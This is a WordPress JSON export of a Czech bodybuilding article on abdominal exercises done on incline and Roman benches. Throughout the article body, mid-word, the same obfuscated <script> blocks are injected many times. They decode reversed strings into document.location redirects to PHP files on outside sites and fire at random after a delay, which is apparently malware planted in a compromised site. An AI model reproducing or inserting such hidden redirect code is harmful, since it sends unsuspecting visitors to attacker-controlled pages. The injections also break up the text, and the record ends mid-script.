{"id":588,"date":"2022-01-31T17:05:06","date_gmt":"2022-01-31T17:05:06","guid":{"rendered":"http:\/\/www.svetkulturistiky.cz\/?p=588"},"modified":"2022-01-30T17:11:27","modified_gmt":"2022-01-30T17:11:27","slug":"perfektni-bricho","status":"publish","type":"post","link":"https:\/\/svetkulturistiky.cz\/index.php\/2022\/01\/31\/perfektni-bricho\/","title":{"rendered":"PERFEKTN\u00cd B\u0158ICHO"},"content":{"rendered":"<p><strong>NEP\u0158EHL\u00cd\u017dEJTE CVIKY NA LAVI\u010cK\u00c1CH<\/strong><\/p>\n<p><strong>V\u00a0kulturistice naraz\u00edte na \u0159adu teori\u00ed. N\u011bkter\u00e9 maj\u00ed svoji v\u00e1hu, jin\u00e9 nikoliv. Postupem \u010dasu ka\u017ed\u00fd zjist\u00ed, co na n\u011bj funguje a co naopak v\u00a0jeho p\u0159\u00edpad\u011b smysl zcela postr\u00e1d\u00e1. Byla by pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to \u0161koda n\u011bkter\u00e9 cviky p\u0159edem zavrhovat. Co\u017e se bohu\u017eel stalo n\u011bkter\u00fdm cvik\u016fm na b\u0159icho.<\/strong><\/p>\n<p>U\u017e je <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to p\u011bkn\u00fdch p\u00e1r let, co zkracova\u010dky vytla\u010dily z\u00a0piedestalu d\u0159\u00edve <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tolik obl\u00edben\u00e9 sedy a lehy. Spolu s\u00a0nimi ale us<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toupila do \u00fastran\u00ed i \u0161ikm\u00e1 a hyperextenzn\u00ed lavi\u010dka. P\u0159i<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom byly \u010dasy, kdy kulturist\u00e9 str\u00e1vili posilov\u00e1n\u00edm b\u0159icha na lavi\u010dk\u00e1ch pom\u011brn\u011b hodn\u011b \u010dasu. A p\u0159in\u00e1\u0161elo jim <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to skv\u011bl\u00e9 v\u00fdsledky. Na <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to bychom rozhodn\u011b nem\u011bli zapom\u00ednat. A mo\u017en\u00e1 va\u0161emu z\u00e1jmu trochu napom\u016f\u017ee, kdy\u017e prozrad\u00edme, \u017ee ty<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to cviky nechyb\u011bly ani v\u00a0tr\u00e9ninkov\u00e9m programu Arnolda Schwarzeneggera.<\/p>\n<p><strong><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-590 alignright\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/01\/WEB-LAVI\u010cKA-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/01\/WEB-LAVI\u010cKA-300x225.jpg 300w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/01\/WEB-LAVI\u010cKA-768x575.jpg 768w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/01\/WEB-LAVI\u010cKA.jpg 800w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/>SEDY A LEHY NA \u0160IKM\u00c9 LAVI\u010cCE<\/strong><\/p>\n<p>Cvik se prov\u00e1d\u00ed z pozice, kdy chodidla zaklesnete za polstrovan\u00e9 v\u00e1le\u010dky, polo\u017e\u00edte se hlavou dol\u016f z\u00e1dy na lavi\u010dku (\u00fahel sklonu by m\u011bl b\u00fdt zhruba 45\u00b0) a pokr\u010den\u00e9 ruce dr\u017e\u00edte za hlavou.<\/p>\n<p>Z\u00a0t\u00e9<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to polohy se silou b\u0159i\u0161n\u00edch sval\u016f zvedejte do f\u00e1ze, kdy trup a stehna sv\u00edraj\u00ed prav\u00fd \u00fahel. Pot\u00e9 se pomalu, kontrolovan\u011b pokl\u00e1dejte zp\u011bt.<\/p>\n<p>&nbsp;<\/p>\n<p>N\u00e1ro\u010dn\u011bj\u0161\u00ed varian<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou pak jsou\u2026<\/p>\n<p>&nbsp;<\/p>\n<p><strong>SEDY A LEHY S\u00a0KLADKOU NA \u0160IKM\u00c9 LAVI\u010cCE<\/strong><\/p>\n<p>Jde pravd\u011bpodobn\u011b o jeden z\u00a0nejefektivn\u011bj\u0161\u00edch a sou\u010dasn\u011b m\u00e1lo za\u0159azovan\u00fdch cvik\u016f na b\u0159icho. Kladka v\u00e1m umo\u017en\u00ed zat\u00ed\u017eit b\u0159i\u0161n\u00ed svaly skute\u010dn\u011b prvot\u0159\u00eddn\u011b.<\/p>\n<p>Zaujm\u011bte v\u00fdchoz\u00ed polohu na naklon\u011bn\u00e9 lavici hlavou dol\u016f, \u00fahel sklonu je stejn\u00fd jako u p\u0159edchoz\u00ed varianty. Lavi\u010dku um\u00edst\u011bte tak, abyste m\u011bli spodn\u00ed kladku za hlavou. Chodidla zaklesn\u011bte za op\u011brky, nat\u00e1hn\u011bte ruce dozadu a uchopte zakon\u010den\u00ed s\u00a0lanem. Konce lana p\u0159it\u00e1hn\u011bte k\u00a0ramen\u016fm. Pa\u017ee jsou nyn\u00ed v\u00a0takov\u00e9 pozici, abyste dr\u017eeli dlan\u011b u u\u0161\u00ed a v\u00a0t\u00e9<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to pozici z\u016fst\u00e1vaj\u00ed po celou dobu cvi\u010den\u00ed. Zatn\u011bte b\u0159i\u0161n\u00ed svaly a zvedejte do sedu, pokud mo\u017eno co nejv\u00fd\u0161, aby se lokty dotkly kolen. V\u00a0horn\u00ed f\u00e1zi zat\u00ednejte b\u0159icho a dbejte na silnou kontrakci sval\u016f. Po<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom se pomalu pokl\u00e1dejte zp\u011bt. Sna\u017ete se, aby s\u00edla nevych\u00e1zela ze stehenn\u00edch sval\u016f, t\u00edm byste aktivovali flexory bok\u016f. Pohyb zp\u011bt prov\u00e1d\u011bjte kontrolovan\u011b. Mezi opakov\u00e1n\u00edmi v\u00a0jedn\u00e9 s\u00e9rii byste se svaly b\u0159icha nem\u011bly v\u016fbec uvolnit.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>TIP PRO V\u00c1S:<\/strong> na \u0161ikm\u00e9 b\u0159i\u0161n\u00ed svaly se m\u016f\u017eete zam\u011b\u0159it, pokud budete v\u00a0horn\u00ed f\u00e1zi vyt\u00e1\u010det lev\u00fd loket k\u00a0prav\u00e9mu kolenu a naopak. Strany st\u0159\u00eddejte.<\/p>\n<p>&nbsp;<\/p>\n<p>Kdo vyhled\u00e1v\u00e1 v\u00fdzvy a chce otes<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovat s\u00edlu sv\u00fdch b\u0159i\u0161\u00e1k\u016f, m\u016f\u017ee vyzkou\u0161et<\/p>\n<p><strong>SEDY A LEHY NA HYPEREXTENZN\u00cd (\u0158\u00cdMSK\u00c9) LAVI\u010cCE<\/strong><\/p>\n<p>Ano, <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to \u201enejlep\u0161\u00ed\u201c jsme si nechali na konec. Sedy a lehy na \u0159\u00edmsk\u00e9 lavi\u010dce jsou cvikem pro pokro\u010dil\u00e9 a m\u011bli by je pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to prov\u00e1d\u011bt ti, kte\u0159\u00ed ji\u017e maj\u00ed solidn\u00ed z\u00e1klady a netrp\u00ed probl\u00e9my s\u00a0doln\u00ed parti\u00ed zad. N\u00e1ro\u010dnost cviku vych\u00e1z\u00ed zejm\u00e9na z\u00a0faktu, \u017ee zcela chyb\u00ed opora zad ve v\u00fdchoz\u00ed f\u00e1zi pohybu. B\u0159icho, pota\u017emo cel\u00fd trup mus\u00ed b\u00fdt tedy nest\u00e1le v\u00a0tenzi, p\u0159i\u010dem\u017e v\u00a0horn\u00ed f\u00e1zi pohybu doch\u00e1z\u00ed k\u00a0siln\u00e9 kontrakci aktivovan\u00fdch sval\u016f.<\/p>\n<p>Sedn\u011bte si na \u0159\u00edmskou lavi\u010dku, zaklesn\u011bte chodidla za op\u011brky. Ruce dr\u017ete u hlavy nebo zk\u0159\u00ed\u017een\u00e9 na hrudn\u00edku. Za\u010d\u00ednejte ve vzp\u0159\u00edmen\u00e9m sedu. Pak pomalu pokl\u00e1dejte trup dozadu tak, aby byl v\u00a0doln\u00ed f\u00e1zi kousek nad rovnob\u011b\u017enou lini\u00ed se zem\u00ed. Siln\u011b zat\u00ednejte b\u0159i\u0161n\u00ed svaly. M\u00e1te mo\u017enost v\u00a0horn\u00ed f\u00e1zi aktivovat zejm\u00e9na doln\u00ed partii b\u0159i\u0161n\u00edch sval\u016f. Dokonce se mnoz\u00ed spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof 